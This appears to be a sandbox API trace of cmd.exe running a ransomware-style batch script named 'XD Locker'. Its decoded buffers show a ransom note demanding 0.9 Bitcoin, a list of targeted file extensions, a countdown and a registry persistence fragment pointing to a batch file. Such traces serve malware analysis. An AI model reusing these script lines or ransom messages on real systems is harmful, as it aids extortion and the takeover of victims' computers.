[0038.518] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=5424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0038.519] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=5, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cls\r\n 4f\r\n") returned 5 [0038.519] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0038.519] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.519] GetFileType (hFile=0x74) returned 0x1 [0038.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0038.519] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=5441, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0038.519] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=17, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="title XD Locker\r\nfile have been encryoted by XD Locker\r\n") returned 17 [0038.519] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0038.519] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.519] GetFileType (hFile=0x74) returned 0x1 [0038.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0038.519] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=5508, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0038.519] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=67, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ## #### ## ## #### ## ##\r\n /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 67 [0038.519] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0038.519] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.519] GetFileType (hFile=0x74) returned 0x1 [0038.519] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0038.520] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=5576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0038.520] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ## ## ## ## ## ## ## ## ####\r\n/v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 68 [0038.520] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0038.520] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.520] GetFileType (hFile=0x74) returned 0x1 [0038.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0038.520] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=5644, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0038.520] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ### ## ## ## #### ## ## ## ## #\r\n") returned 68 [0038.520] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0038.520] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.520] GetFileType (hFile=0x74) returned 0x1 [0038.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0038.520] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=5708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0038.520] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=64, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ## ## ## ## #### ####### ####\r\n #\r\n") returned 64 [0038.520] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0038.521] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.521] GetFileType (hFile=0x74) returned 0x1 [0038.521] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0038.521] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.521] SetFilePointer (in: hFile=0x74, lDistanceToMove=5771, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0038.521] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=63, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ####### ## ## ## ## ## ###\r\n\n") returned 63 [0038.521] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.521] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0038.521] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.521] GetFileType (hFile=0x74) returned 0x1 [0038.521] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0038.521] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.522] SetFilePointer (in: hFile=0x74, lDistanceToMove=5833, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0038.522] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=62, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ####### #### ## ## ## ## ##\r\n\n") returned 62 [0038.522] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.522] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0038.523] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.523] GetFileType (hFile=0x74) returned 0x1 [0038.523] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0038.523] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.523] SetFilePointer (in: hFile=0x74, lDistanceToMove=5890, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0038.523] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=57, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ##\r\n ##\r\n") returned 57 [0038.523] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.523] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0038.523] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.523] GetFileType (hFile=0x74) returned 0x1 [0038.524] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0038.524] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.524] SetFilePointer (in: hFile=0x74, lDistanceToMove=5946, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0038.524] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ####\r\n\n") returned 56 [0038.524] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.524] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0038.525] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.525] GetFileType (hFile=0x74) returned 0x1 [0038.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0038.525] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=5988, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0038.525] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=42, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted\r\n ####\r\n") returned 42 [0038.525] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0038.525] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.525] GetFileType (hFile=0x74) returned 0x1 [0038.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0038.525] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=6013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0038.525] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo The encrypted file\r\n been encrypted\r\n") returned 25 [0038.525] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.525] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0038.525] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.526] GetFileType (hFile=0x74) returned 0x1 [0038.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0038.526] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=6049, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0038.526] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=36, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo .zip .rar .gif .ink .txt .pdf\r\npted\r\n") returned 36 [0038.526] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0038.526] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.526] GetFileType (hFile=0x74) returned 0x1 [0038.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0038.526] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=6086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0038.526] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=37, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo .vbs .doc .mp4 .mp3 .wav .docx\r\nted\r\n") returned 37 [0038.526] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0038.526] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.526] GetFileType (hFile=0x74) returned 0x1 [0038.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0038.526] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=6118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0038.526] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=32, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo .jpg .png .htm .url .html\r\nocx\r\n") returned 32 [0038.526] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.526] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0038.527] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.527] GetFileType (hFile=0x74) returned 0x1 [0038.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0038.527] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=6153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0038.527] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n\r\n") returned 35 [0038.527] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0038.527] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.527] GetFileType (hFile=0x74) returned 0x1 [0038.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0038.527] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=6188, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0038.527] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo +XD Locker encrypt file XD +\r\n") returned 35 [0038.527] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0038.527] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.527] GetFileType (hFile=0x74) returned 0x1 [0038.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0038.527] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=6223, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0038.528] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n") returned 35 [0038.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0038.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.528] GetFileType (hFile=0x74) returned 0x1 [0038.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0038.528] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=6258, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0038.528] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo +===========time===========+\r\n") returned 35 [0038.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0038.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.528] GetFileType (hFile=0x74) returned 0x1 [0038.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0038.529] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=6293, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0038.529] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo + 90 +\r\n") returned 35 [0038.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0038.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.529] GetFileType (hFile=0x74) returned 0x1 [0038.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0038.529] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=6328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0038.529] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n") returned 35 [0038.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0038.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.529] GetFileType (hFile=0x74) returned 0x1 [0038.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0038.529] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=6387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0038.529] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Send $ 0.9 Bitcoin worth of Bitcoin to this address:\r\n#\r\n") returned 59 [0038.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0038.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.529] GetFileType (hFile=0x74) returned 0x1 [0038.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0038.530] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=6389, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0038.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nho Send $ 0.9 Bitcoin worth of Bitcoin to this address:\r\n") returned 2 [0038.530] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.530] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0038.530] _get_osfhandle (_FileHandle=3) 